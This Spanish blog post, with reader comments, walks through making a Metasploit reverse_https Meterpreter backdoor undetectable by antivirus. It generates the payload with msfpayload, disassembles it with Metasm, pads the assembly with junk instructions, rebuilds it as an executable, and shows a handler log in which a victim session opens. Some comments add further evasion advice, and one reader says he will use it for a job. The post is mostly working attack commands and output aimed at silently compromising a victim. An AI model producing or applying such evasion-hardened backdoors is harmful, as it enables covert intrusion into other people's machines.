Metasploit + Metasm (Ghost Writing ASM) para crear un backdoor indetectable

Normalmente crear un backdoor con Metasploit es sinónimo de detección por parte de la mayoría de AV, incluso utilizando el encoder polimórfico shikata_ga_nai. 

El siguiente método que vamos a ver en esta entrada se denomina Assembly Ghost writing y consiste en modificar un binario malicioso reescribiendo el código ensamblador del payload del exploit generado con Metasploit. 

El resultado es un fichero FUD (completamente indetectable), o al menos con un ratio bajo de detección, por medio del cual un atacante podría obtener una sesión en la máquina de la víctima de forma silenciosa.

En nuestras pruebas utilizaremos BT5R3 con metasploit v4.5.0-dev (atacante) y Win7 con AV McAfee (víctima). El procedimiento es muy sencillo:

1º Creamos el ejecutable malicioso en formato con msfpayload.

root@bt:/home/pruebas# msfpayload windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 R > binario.raw
root@bt:/home/pruebas# file binario.raw 
binario.raw: data

2º Preparamos metasm (http://metasm.cr0.org/)

root@bt:/home/pruebas# cd /opt/metasploit/msf3/lib/metasm
root@bt:/opt/metasploit/msf3/lib/metasm# cp -a metasm.rb metasm /usr/lib/ruby/1.9.2

3º Desensamblamos el fichero binario:

root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/disassemble.rb raw_binary > codigo.asm

4º Ofuscamos manualmente el código,
desde esto:

// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                           ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]                ; @18h  0fb74a26  r2:unknown
    xor edi, edi                                 ; @1ch  31ff
a esto:
// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]        ; @18h  0fb74a26  r2:unknown
    mov edi, ecx                ; Move the contents of the ECX register into the EDI Register
    push edi                    ; Push the EDI register onto the current stack frame
    pop edi                    ; Pop it back off
    mov edi, ecx                ; Mov ECX back into edi
    xor ecx, ecx                ; Zero out the contents of the ECX register
    mov ecx, edi                ; Mov EDI back into ECX
    xor edi, edi                ; @1ch

y añadimos al principio del fichero:
.section '.text' rwx
.entrypoint

5º Construimos el ejecutable y lo empaqueamos a un formato que Windows pueda ejecutar:
root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/peencode.rb codigo.asm -o carga.exe
saved to file "carga.exe"
root@bt:/home/pruebas# file carga.exe 
carga.exe: MS-DOS executable, MZ for MS-DOS

6º Lanzamos la consola de Metasploit con el multi/handler:
root@bt:/home/pruebas# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_https LHOST=192.168.249.128 LPORT=443 E
[*] Please wait while we load the module tree...

 _                                                      _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/      \__|     |_\  \___\


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

[-] The value specified for PAYLOAD is not valid.
LHOST => 192.168.249.128
LPORT => 443
[*] Started reverse handler on 192.168.249.128:443 
[*] Starting the payload handler...

7º Y finalmente ejecutamos carga.exe en el equipo Windows:
[*] Sending stage (752128 bytes) to 192.168.249.1
[*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54402) at 2012-11-08 10:44:00 -0500
meterpreter > getuid
Server username: PANDORA\vmotos
meterpreter > 

7 comentarios :

  1. Si le pones permisos de ejecución a la sección de código ya estás haciendo que salten algunos AVs

    ResponderEliminar
  2. Perdón, era permisos de escritura

    Saludos,
    Nox.

    ResponderEliminar
  3. Excelente articulo. Muy interesante :-)

    ResponderEliminar
  4. buen apunte @nox!

    Si bien es cierto que para hacerlo FUD hay que usar un crypter con un stub cocinado o modificar el exe con olly/ida...

    pd. no veo los feeds de tu blog: http://www.noxsoft.net/feed/ ¿funcionan?

    ResponderEliminar
  5. excelente alticulo!! y me viene al pelo para un trabajillo...lo pobare ;D

    ResponderEliminar
  6. me lo detectó el antivirus

    ResponderEliminar
  7. me dice que no se puede abrir el archivo para escritura

    ResponderEliminar